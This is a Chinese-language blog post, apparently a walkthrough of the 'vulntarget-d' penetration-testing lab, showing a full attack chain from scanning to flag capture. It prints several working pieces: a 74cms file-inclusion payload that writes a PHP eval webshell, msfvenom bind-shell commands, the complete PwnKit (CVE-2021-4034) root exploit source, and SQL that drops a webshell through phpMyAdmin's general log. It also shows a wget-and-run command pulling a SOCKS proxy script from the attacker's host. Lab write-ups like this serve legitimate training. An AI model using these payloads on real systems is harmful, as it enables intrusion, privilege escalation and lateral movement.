349 字
1 分钟
vulntarget-d

vulntarget-d#

前期信息收集#

拿到环境扫描一下

nmap -Pn -sV 192.168.111.20

⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d  nmap -Pn -sV 192.168.111.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-09-17 21:26 CST
Nmap scan report for bogon (192.168.111.20)
Host is up (0.094s latency).
Not shown: 995 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http nginx
81/tcp open http nginx
888/tcp open http nginx
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http nginx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.01 seconds

web-骑士cms文件包含#

然后在81端口开着一个cms 在网上查找可以看到有一个文件包含漏洞 利用这个写入恶意文件

image-20260917220142274

http://192.168.111.20\:81/index.php?m=home&a=assign_resume_tpl

variable=1&tpl=<?php fputs(fopen("1.php","w"),"<?php eval(\$_POST[1]);?>")?>; ob_flush();?>/r/n<qscms/company_show 列表名="info" 企业id="$_GET['id']"/>

image-20260917220233598

然后包含日志文件 这个文件需要是现在的日期才可以利用

image-20260917220310256

variable=1&tpl=data/Runtime/Logs/Home/26_09_17.log

然后使用蚁剑连接2.php

image-20260917220348883

msf木马上线#

生成正向后门

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=4444 -f elf -o payload.elf

放到文件夹执行

msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf exploit(multi/handler) > set RHOST 192.168.111.20
RHOST => 192.168.111.20
msf exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.111.20:4444
[*] Sending stage (3090404 bytes) to 192.168.111.20
[*] Meterpreter session 1 opened (10.8.0.6:38457 -> 192.168.111.20:4444) at 2026-09-18 20:54:04 +0800

利用CVE-2021-4034提权#

/*
* Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis <moo@arthepsy.eu>
* Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}
gcc 1.c -o 1
./1
id
uid=0(root) gid=0(root) groups=0(root),1001(www)

内网渗透#

代理#

ifconfig
ens33: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.111.20 netmask 255.255.255.0 broadcast 192.168.111.255
inet6 fe80::250:56ff:feb1:47e prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b1:04:7e txqueuelen 1000 (Ethernet)
RX packets 2626 bytes 3317188 (3.3 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 1497 bytes 126218 (126.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
ens34: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.20.131 netmask 255.255.255.0 broadcast 10.0.20.255
inet6 fe80::250:56ff:feb1:cad6 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b1:ca:d6 txqueuelen 1000 (Ethernet)
RX packets 208 bytes 23346 (23.3 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 141 bytes 15216 (15.2 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 3363 bytes 262509 (262.5 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3363 bytes 262509 (262.5 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

查看ip 发现还有一个20网段的ip

使用msf添加路由

msf exploit(multi/handler) > use post/multi/manage/autoroute
msf post(multi/manage/autoroute) > set SESSION 4
SESSION => 4
msf post(multi/manage/autoroute) > run
[*] Running module against eval (192.168.111.20)
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.0.20.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.111.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf post(multi/manage/autoroute) > route
IPv4 Active Routing Table
=========================
Subnet Netmask Gateway
------ ------- -------
10.0.20.0 255.255.255.0 Session 4
192.168.111.0 255.255.255.0 Session 4
[*] There are currently no IPv6 routes defined.
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 6677
set VERSION 4a
run

端口扫描#

msf post(multi/manage/autoroute) > use auxiliary/scanner/portscan/tcp
msf auxiliary(scanner/portscan/tcp) > show options
Module options (auxiliary/scanner/portscan/tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
CONCURRENCY 10 yes The number of concurrent ports to check per host
DELAY 0 yes The delay between connections, per thread, in milliseconds
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 21,22,23,80,443,8080,3389,445 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 10.0.20.0/24 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
THREADS 50 yes The number of concurrent threads (max one per host)
TIMEOUT 1000 yes The socket connect timeout in milliseconds
View the full module info with the info, or info -d command.
msf auxiliary(scanner/portscan/tcp) > run
[*] Scanned 26 of 256 hosts (10% complete)
[*] Scanned 56 of 256 hosts (21% complete)
[*] Scanned 79 of 256 hosts (30% complete)
[*] Scanned 108 of 256 hosts (42% complete)
[+] 10.0.20.131 - 10.0.20.131:80 - TCP OPEN
[+] 10.0.20.136 - 10.0.20.136:80 - TCP OPEN
[*] Scanned 130 of 256 hosts (50% complete)

10.0.20.131 - 10.0.20.131:80 - TCP OPEN 10.0.20.136 - 10.0.20.136:80 - TCP OPEN

信息收集#

看到了开放了80端口 然后打开web只能看到hello world 然后进行目录骚猫

image-20260918220520376

因为这个靶场的VPN特别脆弱 所以进行dirsearch的时候一定要限制

dirsearch -u http://10.0.20.136 --proxy socks4://127.0.0.1:6677 -t 1 --timeout=20
⚡ root@kali  /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d  dirsearch -u http://10.0.20.136 --proxy socks4://127.0.0.1:6677 -t 1 --timeout=20 -i 200
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
/usr/local/lib/python3.13/dist-packages/requests/__init__.py:89: RequestsDependencyWarning: urllib3 (1.26.16) or chardet (3.0.4) doesn't match a supported version!
warnings.warn("urllib3 ({}) or chardet ({}) doesn't match a supported "
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 1 | Wordlist size: 11460
Output File: /mnt/hgfs/Cyber_Security/CTF/无境/内网域渗透/vulntarget-d/reports/http_10.0.20.136/_26-09-19_13-15-53.txt
Target: http://10.0.20.136/
[13:16:05] Starting:
[13:16:10] 200 - 14KB - /l.php
[13:16:10] 200 - 71KB - /phpinfo.php
[13:16:11] 200 - 4KB - /phpmyadmin/
[13:16:12] 200 - 4KB - /phpMyAdmin/
[13:16:12] 200 - 4KB - /phpmyadmin/index.php
[13:16:12] 200 - 4KB - /phpMyAdmin/index.php
[13:16:12] 200 - 2KB - /phpmyadmin/README
[13:16:12] 200 - 32KB - /phpmyadmin/ChangeLog
Task Completed

phpmyadmin写日志拿到shell#

发现存在phpmyadmin 然后尝试用弱口令登录 发现root/root可以登录

然后既然可以登录 那我们就可以通过写日志来写入恶意文件拿到shell

SHOW VARIABLES LIKE '%general%'
set global general_log=on;
set global general_log_file='C:/phpstudy/PHPTutorial/www/1.php';
SELECT '<?php eval($_POST["1"]); ?>'

然后这边msf的sock4隧道是没办法在蚁剑建立代理的 然后这个VPN不能用5所以我们在192.168.111.20上建立sock4的代理

# 靶机(蚁剑虚拟终端,或你那个活着的 meterpreter 的 shell)
python3 -V # 先确认有 python3
cd /tmp && wget -q http://10.8.0.6:8000/socks4d.py -O socks4d.py && (setsid python3 /tmp/socks4d.py 0.0.0.0 1080 >/tmp/socks4d.log 2>&1 &) ; sleep 2 ; cat /tmp/socks4d.log
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import socket
import struct
import sys
import threading
LISTEN_HOST = sys.argv[1] if len(sys.argv) > 1 else '0.0.0.0'
LISTEN_PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 1080
CONNECT_TIMEOUT = 15
BUFSIZE = 8192
REQ_GRANTED = b'\x00\x5a'
REQ_REJECT = b'\x00\x5b'
NULLADDR = b'\x00\x00\x00\x00\x00\x00'
def pump(src, dst):
"""单向转发,直到任一端关闭。"""
try:
while True:
data = src.recv(BUFSIZE)
if not data:
break
dst.sendall(data)
except Exception:
pass
finally:
for s in (src, dst):
try:
s.shutdown(socket.SHUT_WR)
except Exception:
pass
def recv_until_nul(conn, limit=512):
"""读到一个 \\x00 为止(SOCKS4 的 USERID / 域名都是这种格式)。"""
buf = bytearray()
while len(buf) < limit:
try:
ch = conn.recv(1)
except Exception:
break
if not ch or ch == b'\x00':
break
buf += ch
return bytes(buf)
def handle(conn):
try:
conn.settimeout(CONNECT_TIMEOUT)
# --- 1. 版本 ---
ver = conn.recv(1)
if not ver or ver[0] != 4:
conn.close()
return
# --- 2. 命令 / 端口 / IP ---
cmd = conn.recv(1)[0]
port = struct.unpack('>H', conn.recv(2))[0]
ip_raw = conn.recv(4)
# --- 3. USERID(丢弃)---
recv_until_nul(conn)
ip = socket.inet_ntoa(ip_raw)
# --- 4. SOCKS4a:DSTIP 为 0.0.0.x (x!=0) 时,后面跟域名 ---
if ip_raw[:3] == b'\x00\x00\x00' and ip_raw[3] != 0:
host = recv_until_nul(conn).decode('utf-8', 'ignore')
if host:
ip = host
if cmd != 1: # 只支持 CONNECT
conn.sendall(REQ_REJECT + NULLADDR)
conn.close()
return
# --- 5. 先连目标,成功后才回 GRANTED(关键时序)---
remote = socket.create_connection((ip, port), timeout=CONNECT_TIMEOUT)
conn.sendall(REQ_GRANTED + struct.pack('>H', port) + socket.inet_aton('0.0.0.0'))
# --- 6. 双向中继 ---
conn.settimeout(None)
remote.settimeout(None)
threading.Thread(target=pump, args=(conn, remote), daemon=True).start()
pump(remote, conn)
except Exception:
try:
conn.sendall(REQ_REJECT + NULLADDR)
except Exception:
pass
try:
conn.close()
except Exception:
pass
def main():
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind((LISTEN_HOST, LISTEN_PORT))
srv.listen(128)
print('socks4d listening on %s:%d (SOCKS4/4a)' % (LISTEN_HOST, LISTEN_PORT), flush=True)
while True:
try:
conn, addr = srv.accept()
except Exception:
continue
threading.Thread(target=handle, args=(conn,), daemon=True).start()
if __name__ == '__main__':
main()

在蚁剑连接上服务器

image-20260919143656809

连上之后 打开终端输入 type C:/flag.txt 拿到flag

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

vulntarget-d
https://blog.hollowqing.cn/posts/pentest/vulntarget-d/
作者
Hollow
发布于
2026-09-19
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录